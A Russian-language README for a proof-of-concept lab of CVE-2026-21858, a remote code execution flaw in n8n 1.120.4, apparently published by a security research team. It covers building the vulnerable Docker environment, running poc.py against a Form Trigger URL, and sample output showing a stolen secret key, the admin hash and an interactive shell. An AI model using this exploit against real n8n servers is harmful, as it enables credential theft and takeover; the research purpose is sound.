CVE-2026-21858 RCE

Среда PoC для n8n 1.120.4 с рабочим процессом Form Trigger и эксплойт-скриптом.

Требования

• Docker (Docker Desktop на Windows)
• Python 3.x (сторона атакующего)

Файлы

• Dockerfile — сборка уязвимой среды n8n
• run.bat — запуск контейнера (Windows)
• workflow.txt — рабочий процесс n8n (включает Form Trigger)
• poc.py — PoC скрипт
• requirements.txt — зависимости PoC

Настройка среды

1. Сборка Docker образа

docker build -t n8n-vuln:1.120.4 .

2. Запуск среды (Windows)

run.bat

3. Настройка n8n

1. Откройте n8n в браузере
2. Войдите как admin
3. Создайте новый рабочий процесс
4. вставьте workflow.txt
5. Активируйте рабочий процесс
6. Скопируйте URL Form Trigger

Доказательство концепции (PoC)

1. Установите зависимости (сторона атакующего)

pip3 install -r requirements.txt

2. Запустите эксплойт

python3 poc.py

• Вставьте URL Form Trigger по запросу.

Ожидаемый результат

• PoC извлекает конфиденциальные активы n8n (например, FINAL_SECRET_KEY, идентификаторы администратора) из цели.
• Предоставляется интерактивная оболочка (n8n-shell>).
• Выполнение команды (например, id) возвращает вывод целевой среды (RCE).

Пример вывода

[+] Success: SECRET_KEY = "..."
[+] Success: admin_id = "..."
[+] Success: admin_hash = "..."

=== n8n Shell Ready ===
n8n-shell> id

[!] 'id' Result:
------------------------------
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
------------------------------

Аналитика EQST

Мы публикуем анализ CVE и вредоносного ПО раз в месяц. Если вам интересно, перейдите по ссылкам ниже, чтобы ознакомиться с нашими публикациями.

• KR : https://www.skshieldus.com/security-insights/reports/n8n_arbitrary_file_read_vulnerability_cve_2026_21858
• EN : https://www.skshieldus.com/en/report?tab=eqst